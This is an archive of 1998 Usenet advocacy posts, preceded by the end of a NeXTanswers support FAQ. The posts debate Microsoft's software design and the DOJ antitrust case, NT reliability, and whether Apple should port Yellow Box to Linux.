please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Ben Whit <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 00:25:06 -0500
Organization: Brown University
Message-ID: <36734FB2.F56F5DE9@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <74v83a$6j9$1@wfn.emn.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Osvaldo Pinali Doederlein wrote:
> Ben White <benjamin_white@brown.edu> wrote in message
> news:36731A2F.8BB882A2@brown.edu...
> ><much of Outlook example cut>
> >You've managed to disprove yourself by pointing out one of the highly fatal
> >flaws in Outlook and many other MS products. If the information/format
> changes
> >after the software has been written, the software gives the user has no
> >recourse. For example, in parts of Maryland, phone users must dial the area
> >code, even for local calls. Dialup networking in Win95 can't handle that
> >because the developers didn't consider such a case. So if I told my machine
> >that my phone number was 301-681-2222 and my ISP's number was 301-593-9876,
> it
> >would insist on dialing only the last 7 digits. Sure, there are ways around
> it.
> >I can specify my area code as something else or specify my ISP's number as
> >301-301-593-9876. But the point is that assuming the responsibility for
> knowing
> >what's best for all users -- MS's mentality -- is highly erroneous.
>
> Your counter-example makes me think that the Microsoft app is right for 99%
> of users and wrong for 1% of users, while other software (like Unix) tries
> to be right for 100% of users (making everything highly accessible and
> tweakable) but in my judgement it's wrong for 90% of users (too difficult).
> I go with Microsoft on this one!
I'm sorry you missed its point. All my counterexample demonstrated was that MS
tries to do *all* the thinking for users to the point that its applications and
OS are not extensible or configuratable enough. I did not mention or imply any
sort of percentage. Even a cursory glance through the myriad of posts in the
comp.os.windows.* groups that complain how Windows and its (MS) applications
don't offer enough user-extensibility should indicate to you that the number of
people dissatisfied with MS thinking it knows best is significantly greater than
1%.
Besides, the area code issue is only one of an uncountable number of items which
are not configuratable by MS design. Unix, on the other hand, was built with
extreme configurability in mind. If you don't like the dialup networking part of
Windows, too bad. You have no alternative. If you don't like Unix's ppp (dialup)
program, don't use it. I know of several other dialup programs. And hey, if you
don't like any of those, write your own. That's the freedom I lose when I
(begrudingly) have to use Windows.
BEN
From: "James Stutts" <stuttjc@mindspring.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 12 Dec 1998 23:32:54 -0600
Organization: MindSpring Enterprises
Message-ID: <74vji2$d8b$1@camel0.mindspring.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <74v83a$6j9$1@wfn.emn.fr> <36734FB2.F56F5DE9@brown.edu>
Ben Whit wrote in message <36734FB2.F56F5DE9@brown.edu>...
>Osvaldo Pinali Doederlein wrote:
>
>> Ben White <benjamin_white@brown.edu> wrote in message
>> news:36731A2F.8BB882A2@brown.edu...
>> ><much of Outlook example cut>
<snip>
>Besides, the area code issue is only one of an uncountable number of items
which
>are not configuratable by MS design. Unix, on the other hand, was built
with
At least with the version of DUN supplied with NT, this is not an issue.
JCS
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 06:48:59 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36735f75.2443804@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu>
On Sat, 12 Dec 1998 20:36:47 -0500, in comp.os.ms-windows.advocacy Ben
White <benjamin_white@brown.edu> wrote:
>That's certain on my short list of criteria for defining quality software. I
>wouldn't dream of calling software that insisted on being rebooted daily
>quality. What other things did you have in mind? Completeness? Performance?
Like I said, I run Windows NT. Neither NT nor Outlook crash on me.
IE crashes ever once in a while. I simply start IE again. I *never*
have to reboot for any application related problems. The only time I
have to reboot is if I change the OS configuration in some way that
requires rebooting. And that's practically never.
>And MS is not trying to meet the
>needs of 100 million users. It's trying to meet the need of 1
>lowest-common-denominator user.
That is absolutely incorrect. Through my work as a computer
consultant, I've gone into many different office situations where
users of Excel or Word are using different sets of functionality in
completely different ways. If your statement were true, they would
all be trying to do their job with the same set of functions.
>> Microsoft does this kind of thing all over the place. Once Outlook
>> knows the country (from the address) then it gets the proper telephone
>> format and insures that your telephone numbers are entered properly.
>> The list goes on and on.
>>
>> What's also difficult is the research needed to gather all the
>> information.
>
>You've managed to disprove yourself by pointing out one of the highly fatal
>flaws in Outlook and many other MS products. If the information/format changes
>after the software has been written, the software gives the user has no
>recourse.
Again, you have no idea what you are talking about. A single click of
the mouse brings up the Name or Address dialogs where the user can
enter the information into multiple fields exactly the way they want.
It's the same with phone numbers. Also, your area code issue is
actually quite common in the US. It's already accounted for.
>The point is, however, that there are plenty of
>people who would rather use something else but can't because their world is to
>Windows-centric. Hence, the DOJ's suit.
That is total bull. There are major competitors in every area of
applications that Microsoft develops. Against MS Office there stands
Lotus SmartSuite, Corel Perfect Office, and Star's (?) StarOffice. As
for Outlook, the number of PIMs out there is very large. There's
Lotus Organizer, DayTimer's Organizer, Franklin Organizer, Symantec's
Act!, Goldmine, Sharkware, etc. The list goes on and on. It's the
same story for every Microsoft application. And these are not obscure
applications. These apps are on the shelves at CompUSA right next to
MS apps.
That means that there *are* people buying them. Only people like you,
that would rather blame Microsoft for anything and everything, think
that they don't have a choice.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 06:54:34 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36736392.3496497@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com>
On Sat, 12 Dec 1998 01:29:48 +0000, in comp.os.ms-windows.advocacy
Richard Tilmann <rtilmann@sagchip.com> wrote:
>You must understand that this trial is about 'policy', not about 'law'.
No. It's not. Trials are not used to determine policy. They are
used to apply the law. Policy is determined by the law makers.
There's nothing special about the DOJ's claims; they claim basic
anti-trust violations. There's nothing there that is trying to change
the way computer technology is viewed.
>The question is MicroSoft damaging consumer interests and technology
>innovation with their behavior. If they are, if it's not illegal, it
>should be. There is no reason for us to suffer this kind of damage from
>a from a private interest any more than it would be from a foreign
>nation.
What kind of damage??? How are you hurting from Microsoft's business
practices? Microsoft's software is more advanced than any competitor
and is priced competitively. What's so bad about that?
Message-ID: <36736F15.6092655C@ameritechREMOVETHIS.net>
From: BR <benr9y@ameritechREMOVETHIS.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 13 Dec 1998 07:39:01 +0000
NNTP-Posting-Date: Sun, 13 Dec 1998 01:43:07 CDT
Organization: Ameritech.Net www.ameritech.net Complaints: abuse@ameritech.net
Willy wrote:
>
> On Sat, 12 Dec 1998 01:29:48 +0000, in comp.os.ms-windows.advocacy
> Richard Tilmann <rtilmann@sagchip.com> wrote:
>
> >You must understand that this trial is about 'policy', not about 'law'.
>
> No. It's not. Trials are not used to determine policy. They are
> used to apply the law. Policy is determined by the law makers.
> There's nothing special about the DOJ's claims; they claim basic
> anti-trust violations. There's nothing there that is trying to change
> the way computer technology is viewed.
>
> >The question is MicroSoft damaging consumer interests and technology
> >innovation with their behavior. If they are, if it's not illegal, it
> >should be. There is no reason for us to suffer this kind of damage from
> >a from a private interest any more than it would be from a foreign
> >nation.
>
> What kind of damage??? How are you hurting from Microsoft's business
> practices? Microsoft's software is more advanced than any competitor
> and is priced competitively. What's so bad about that?
http://www.computerworld.com/home/news.nsf/all/9812104desktop
Nice to know everyone's satisfied with windows.
From: "Vincent Kohli" <cyberbox@mlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Steve Jobs:Potential Time Man of the year
Date: Sun, 13 Dec 1998 02:40:37 -0500
Organization: Cyberbox webmasters
Message-ID: <74vqg3$j6o$1@neon.Mlink.NET>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Time Magazine is considering Steve Jobs as the next Man of The Year
Every mac/ NeXT advocate should read this article, vote and spread the news:
http://www.maccentral.com/news/9812/12.time.shtml
Among Steve Jobs' competition this year are Monica Lewinsky, Kenneth Starr,
Bill Clinton, Mark McGwire, John Glenn and many more. You can place your
vote at:
http://cgi.pathfinder.com/time/moy/index.html
thanks.
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 03:23:06 -0500
Organization: Brown University
Message-ID: <3673796A.362778FC@brown.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com>
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Willy wrote:
>
> On Sat, 12 Dec 1998 20:36:47 -0500, in comp.os.ms-windows.advocacy Ben
> White <benjamin_white@brown.edu> wrote:
>
> >That's certain on my short list of criteria for defining quality software. I
> >wouldn't dream of calling software that insisted on being rebooted daily
> >quality. What other things did you have in mind? Completeness? Performance?
>
> Like I said, I run Windows NT. Neither NT nor Outlook crash on me.
> IE crashes ever once in a while. I simply start IE again. I *never*
> have to reboot for any application related problems. The only time I
> have to reboot is if I change the OS configuration in some way that
> requires rebooting. And that's practically never.
Are you kidding? It's been my experience while working at an ISP that
the NT servers needed to be rebooted regularly for no apparent reason.
It was truly frustrating to be woken up at 7AM by a frantic secretary
who was fielding 'why isn't my site up' messages and run down to the
office only to find that the server had totally locked up and needed a
hard reboot. Nasty. But don't believe me, check out pages like
http://forums.infoworld.com/threads/get.cgi?53804 or
http://forums.infoworld.com/threads/get.cgi?49248. Also, hotmail.com, an
MS-owned company, runs Apache/1.2.1 on FreeBSD. *laugh* Plus, in what
are true critical servers you're 'practically never' doesn't cut it. And
why should I have to reboot my machine because I made a enabled some
piece of hardware?
> >And MS is not trying to meet the
> >needs of 100 million users. It's trying to meet the need of 1
> >lowest-common-denominator user.
>
> That is absolutely incorrect. Through my work as a computer
> consultant, I've gone into many different office situations where
> users of Excel or Word are using different sets of functionality in
> completely different ways. If your statement were true, they would
> all be trying to do their job with the same set of functions.
Don't be silly. Of course they're all using the same set of functions if
they're using the exact same application. Various users use various
functions from that set to accomplish different things. Sure, there is a
lot of functionality in there. The point is that MS dictates that set of
functionality and there is no recourse should a user who has the
know-how wish to add functionality. Wouldn't it be a great feature if
you could read your email without ever leaving your word processor and
having to launch another application to do so? Wouldn't it be cool if
you could use your word processor to save files in your company's
proprietary data format? Can you do these things in Word? I don't think
so. Hence, my lowest-common-denominator complaint.
<snipped>
> Again, you have no idea what you are talking about. A single click of
> the mouse brings up the Name or Address dialogs where the user can
> enter the information into multiple fields exactly the way they want.
> It's the same with phone numbers. Also, your area code issue is
> actually quite common in the US. It's already accounted for.
As I said in my post, I know that there are workarounds to some
broken-by-design 'features'. This does not at all mitigate my
observation that in general MS seems to have this notion that *all*
users need to have their respective hands held. Do not misconstrue this
to mean that 'setup wizards are bad' or 'all point-and-click interfaces
are bad'. That's totally not true. What is bad is when the only way to
install something is via a graphical wizard or when the only way to
configure an OS is with a mouse. These things sharply reduce the
possible ways I might want to install/configure/access something.
> >The point is, however, that there are plenty of
> >people who would rather use something else but can't because their world is to
> >Windows-centric. Hence, the DOJ's suit.
>
> That is total bull. There are major competitors in every area of
> applications that Microsoft develops. Against MS Office there stands
> Lotus SmartSuite, Corel Perfect Office, and Star's (?) StarOffice. As
> for Outlook, the number of PIMs out there is very large. There's
> Lotus Organizer, DayTimer's Organizer, Franklin Organizer, Symantec's
> Act!, Goldmine, Sharkware, etc. The list goes on and on. It's the
> same story for every Microsoft application. And these are not obscure
> applications. These apps are on the shelves at CompUSA right next to
> MS apps.
>
> That means that there *are* people buying them. Only people like you,
> that would rather blame Microsoft for anything and everything, think
> that they don't have a choice.
*Sigh* I know that there are other choices. I use them more frequently
than the MS options available to me. The fact that other choices exist
is irrelevant to the DOJ's suit. How competitive do you think Goldmine,
for example, can be if MS is bundling Outlook with everything it can
think of? The notion that an OEM cannot install the non-MS browser of
their choice without MS threatening to pull their Win95 license
illustrates that MS has sufficient clout to stifle competition. The fact
that MS can force a company to adopt its browser by dangling the prize
of bundling with Windows illustrates that MS has sufficient clout to
stifle competition. The examples abound and this is what the DOJ's suit
is about. Remember, Standard Oil controlled the refining of only 14% of
crude oil in the US at the time of their breakup. Legally, it doesn't
matter if other options exist. What matters is when one company is able
to push other companies around at will and force anti-competition.
From: hoye.1NOSPAM@osu.edu (Bob Hoye)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sat, 12 Dec 1998 03:28:24 -0500
Organization: The Ohio State University
Message-ID: <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca>
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In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
IBM didn't "decide to make it an open system" - it was
reverse-engineered by a competitor and the clones began (See "Triumph of
the Nerds", PBS)
> I don't think it matters who wins. By the very fact that theres an ongoing
> trial, Microsoft has already modified their behaviour. The longer the trial
> (and the appeals) go on, the greater the likelihood that some threat to
> Microsofts empire will emerge that MS can't respond to in the usual way.
>
> History lesson: circa 1980 DOJ is on IBMs case, claiming they are abusing
> their mainframe monopoly. IBM decides to build a PC, but decides to make it
^^^^^^^^^^^^^^^^^^^^^^
> an open system, and not maintain control of the OS for it. Why? (1) IBM
^^^^^^^^^^^^^^
> didn't dream their PC would be a huge success, (2) No need to stir up the
> anti-trust forces any more than they were already. The rest is history. The
> PC revolution begins, with IBM playing only a small role, and IBMs
> mainframe monopoly becomes irrelevant.
>
> Hmm. How might history repeat itself?
>
> Michael Monner
From: Michael <michael@tone.ca>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 04:37:22 -0500
Organization: Styx DTP
Sender: monner@dial01p18.ottawa.storm.ca
Message-ID: <36738AD0.C1324BAD@tone.ca>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <hoye.1NOSPAM-ya02408000R1212980328240001@nntp.service.ohio-state.edu>
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Bob Hoye wrote:
> In article <3671C95D.366D2F67@tone.ca>, michael@tone.ca wrote:
>
> IBM didn't "decide to make it an open system" - it was
> reverse-engineered by a competitor and the clones began (See "Triumph of
> the Nerds", PBS)
>
Which was possible because they used off the shelf components, nothing
propriatary. They tried to change that with their second version but the
marketplace wouldn't buy it.
Anyway its a small detail that has nothing to do with my point.
Michael Monner
From: Ben White <benjamin_white@brown.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Sun, 13 Dec 1998 08:26:44 -0500
Organization: Brown University
Message-ID: <3673C094.7C814583@brown.edu>
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Willy wrote:
>
> On Sat, 12 Dec 1998 01:29:48 +0000, in comp.os.ms-windows.advocacy
> Richard Tilmann <rtilmann@sagchip.com> wrote:
>
> >You must understand that this trial is about 'policy', not about 'law'.
>
> No. It's not. Trials are not used to determine policy. They are
> used to apply the law. Policy is determined by the law makers.
> There's nothing special about the DOJ's claims; they claim basic
> anti-trust violations. There's nothing there that is trying to change
> the way computer technology is viewed.
I think that Willy is almost correct. US trials are about both
implementing and redefining law. That's why courts rule based on
precedent. A court can decide that a particular practice is under the
domain of anti-trust law and future courts are guided by that decision.
If 'policy' is to mean 'redefining and extending/restricting law' then
Richard's understanding is not wrong, just not complete.
> >The question is MicroSoft damaging consumer interests and technology
> >innovation with their behavior. If they are, if it's not illegal, it
> >should be. There is no reason for us to suffer this kind of damage from
> >a from a private interest any more than it would be from a foreign
> >nation.
>
> What kind of damage??? How are you hurting from Microsoft's business
> practices? Microsoft's software is more advanced than any competitor
> and is priced competitively. What's so bad about that?
Wow. At what age did your brainwashing begin? Think about this: the fact
that Dell and Compaq pay MS a OS royalty based on the number of
computers they sell gives them no incentive to sell anything but
Windows. Actually, it give them a *disincentive* to sell anything but
Windows. I, a user, do not wish to purchase a computer with Windows. I
think Compaq hardware is wonderful but they won't sell me a machine that
doesn't have Windows on it. Now I have to spend my time installing the
OS of my choice instead of getting it preinstalled. Plus, I'm paying for
something I don't want. I experience a deficit in both time and money:
that's damage.
And why should any startup company look to even try to write an
alternative OS when MS has the market cornered? Why should any startup
company try to write a word processor to replace Word when MS owns so
much of that market? I remember when Windows 3.0 used to flash a little
warning message if it detected that it was running on top of DR-DOS.
There was, of course, no difference between running it over DR-DOS or
MSDOS. The point is that many a user saw a message saying something like
'...blah...DR-DOS...blah... your system may not perform certain
functions correctly'. Classic FUD. When MS uses the fact that a very
large percentage of people are running Windows to leverage their own
product (MSDOS) over a competitor's (DR-DOS), they are guilty of
stifling competition and innovation. Even if MS's software were
currently technically superior (which it's not), surely you can conceive
of some time in the future in which a person or company has a
technically better implementation of an application than MS. If that
person/company is not able to bring his/its idea to fruition because of
MS leveraging its dominance in the OS domain to market its own apps,
that's a predatory and illegal monopoly. Illegal.
No assert your statement, you'll have to give criteria defining
'advanced' before MS's software being more advanced can be taken
seriously.
I can buy a pretty loaded Ultra 5 from Sun for about $3000. That isn't
terribly far off from -- probably even less than -- what you'd have to
pay to get a comparable PC running NT up and running the basics of an
NOS: email, HTTP, perhaps news, FTP, file sharing, printing, etc.
Further, NT lags behind in performance relative to various *nix flavors
based on the same hardware.
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com>
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Date: 13 Dec 98 13:35:45 GMT
On Sat, 12 Dec 1998 23:19:35, adt@netcom.com (Anthony D. Tribelli)
thought aloud:
> taiQ (pit@iohk.SPAM-NOT.com) wrote:
>
> : As for now PerfectOffice for Linux hasn't even shipped or even been
> : reviewed publicly. I believe Corel has worked with KDE in the past
> : (IIRC their Linux stations ship with it) and it remains to be seen
> : whether PerfectOffice will be KDE or GNOME "optimized". I think it's
> : likely to support either of those, even both. In any case it would
> : appear that Corel is putting Linux ahead of other near-compatible
> : platforms, incl. Mac OS X w/ BSD.
>
> Isn't KDE or GNOME open source? Open source code has been ported to
> Rhapsody and there is no reason to suspect this will not continue.
They're both open source and KDE recently got its licensing terms
revised making it nearly as "totally open" as GNOME. Some licenses,
such as GPL, require that if any of the open code is incorporated to
another product the derivate product's source code must be released
under the same licensing scheme as well, that's the general idea of
public benefit. Of course, open source applications are another
matter, at least from Apple's point of view. Standalone open source
apps have been ported to nearly all imaginable platforms where there
is interest, from simple utilities to near-necessities like Apache,
Sendmail and now even Mozilla. Thanks to Sun's new "Community Source"
license Java technologies can now also be integrated into 3rd party
products.
In any case it would be in Apple's interest to foster native
YB-development to begin with (I'm pro YB for Linux :-) and by opening
up YB source under some reasonable license scheme to foster YB
adoption and also cooperation between YB and GNOME or KDE.
> : With YB on Linux Corel could be persuaded to use YB in PerfectOffice
> : and they'd have a product reaching all YB-capable platforms without
> : tedious re-tuning. The brief emergence of Corel's JavaOffice showed
> : that they might like the idea. I'm not trying to discredit your idea
> : of easy porting between Linux and BSD but merely trying to point out
> : that YB would make such porting practically unnecessary while offering
> : an avenue for quicker, easier further development. And by extension,
> : I'm trying to point out that Yellow Box for Linux would make sense.
> : :-)
>
> I agree that making Yellow Box available on all viable platforms would be
> a good thing. I'm merely suggesting that MacOS X is free to leverage open
> source code and that developers can target both Linux and MacOS X with or
> without Yellow Box on Linux.
If you're referring to the GNOME and KDE porting idea I'm not certain
that could be done without licensing complications, if at all. Apple
could, however, leverage its own code (YB) by releasing its source
under acceptable license. It's already getting very popular among many
big corporations, you know. <g>. They get a lot of good publicity
while Microsoft comes out looking either as suspicious or as the
defender of the past ways (no surprise there). Naturally Apple doesn't
get mentioned.
> MacOS X apps do not have to use Apple specific technologies.
True, but the more Yellow Box ("Apple-optimized") apps there are, the
better chances Apple has making their Mac OS X hardware attractive to
buyers, incl. new-comers. Where YB (or Carbon) apps aren't available,
it's time to look at the BSD ports.
> : I'm not certain Apple can beat Linux (w/ practically all hardware
> : platforms supported) in the momentum game, but let's suppose you're
> : correct. (and Apple can churn out and sell G3 and G4 machines faster
> : than Linux CD-ROMs find permanent homes)
> :
> : In this scenario it would be very attractive for the *nix app vendors
> : to make the Apple's flavour of Unix a high priority. But how many
> : PowerMac 'end users' would have bought a G3 or G4 to run Unix apps in
> : the first place? Apple is promising worthy user experience only with
> : Carbon, Java or Yellow Box, the Unix-ness is downplayed even more than
> : the existence of Yellow Box! <g>
>
> If there is so little interest in running Unix apps why do folks suggest
> that Linux can become a viable general purpose desktop? :-)
Heh heh. We should ask the GNOME and KDE communities what they're
plotting... some are known to sport T-shirts with "World Domination.
Fast" visible on the chest side. :-)
> Personally I
> think the MacOS X advantage will be in the ability to run both the
> shrinkwrapped apps and the Unix apps, I'll reference the chemisty example
> in my previous post. Also consider how common it is for Linux workstations
> to dual boot to Windows.
You mean Yellow Box and Unix apps...? I think I agree. ;-) Some
people argue that YB on Linux would leave Mac OS X without any
significant selling points or Apple's PowerMac line unattractive if
Yellow Box runs on cheapskate hardware. (well, it already runs on
those boxes on Windows...)
I believe Jobs will manage to keep narrowing the white-box vs. Mac
price difference to make it a non-factor, perhaps even favouring Apple
in price/performance comparisons. OTOH Mac OS X should in the near to
medium term have many clear benefits over Linux as an end-user
environment but its sustained success hangs in the balance of Yellow
Box's adoption rate. Where necessary, instead of Windows-Linux dual
boot one can enjoy of Mac OS X/Linux dual boot. I think Apple would
prefer the latter... ;-)
> : But I don't need a web search to convince myself that Linux momentum
> : is strong, that its end user friendliness in being feverishly worked
> : on and that in '99 it will become a credible option to much larger
> : number of consumers and even an optional OEM preload on low cost
> : systems in the cut-throat market. Of course, the future remains to
> : prove itself but there's also the danger of Apple doing "too little,
> : too late".
>
> OK, it is impossible to counter the argument that Apple can totally
> screwup despite incredible innovations and opportunities. ;-)
There are smoke signs rising from Cupertino which some Apple-watching
soothsayers interpret as indications that Apple is at least aware of
these issues and _perhaps_ even discuss and experiment with different
Yellow Box, Open Source and Linux licensing strategies. For now I
remain cautiously optimistic.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: 13 Dec 98 13:35:51 GMT
On Sat, 12 Dec 1998 16:37:20, sal@panix.com (Sal Denaro) thought
aloud:
> On 11 Dec 98 19:23:02 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> The fact that there are so few differences is the point.
> >For some reason I don't understand what it is you're pointing out
> >here. Porting YB frameworks between Linux and versions of BSD would be
> >rather easy, right?
>
> Apple would have to write a display engine that interfaces with AppKit
> and provides the functional equivalent to eQD on OSX. This is _not_
> going to be trivial. (I think Mike Paquette said something about this
> a while back, but I am might be wrong)
Would it make sense for Apple to release eQD under some semi-open
license (like Sun's or Netscape's); or could eQD be ported to Linux
kernel and sold as part of Apple's supposed "YB enhancement package"?
IIRC eQD is built into Apple's Mach and thus can't be put on the table
unless Mach goes public too.
> >Porting *nix apps between Linux and versions of
> >BSD would also be rather easy, right?
>
> For non-X apps, Yes. (This could be extended to X Apps with a 3rd party
> X server. I know of one that runs on DR2)
>
> > Linux has more momentum and apps
> >than the versions of BSD do, right?
>
> I don't see it as "Linux momentum" as much as I see it as "opensource
> momentum" Apache, gcc, KDE, perl, et al have all gotten tons of press
> and if you ask me, Linux has grown because of those Apps. I don't think
> it is the other way around.
You got a point there, although I'd still consider Linux as the most
visible of the many parts in the open source movement.
(I also learned something about your general BSD vs. Linux stance and
try to take that respectfully into account. I'm pro anything that
helps advance technology without creating damaging monopolies :-)
> >Now, this all sprung from my suggestion that Apple oughta offer "YB
> >for Linux commercial packages with Apple Seal Of Approval And
> >Compatibility" which got you to point out that Linux and versions of
> >BSD are quite similar. How does the similarity affect my suggestion to
> >offer commercial Apple-branded YB packages for Linux?
>
> Seeing that OSX will run the opensource software that people use Linux
> to run, I don't see why Apple needs to port YB to Linux now.
Here's were our opinions differ the most. I see the port as an
opportunity with its window closing as time goes by. And unlike
Windows, Linux can make Apple's hardware more attractive to the
mainstream as well by wiping away old software compatibility issues
which left Apple in a niche in the first place.
> >> Apple is going to have to build momentum and mindshare for YB no
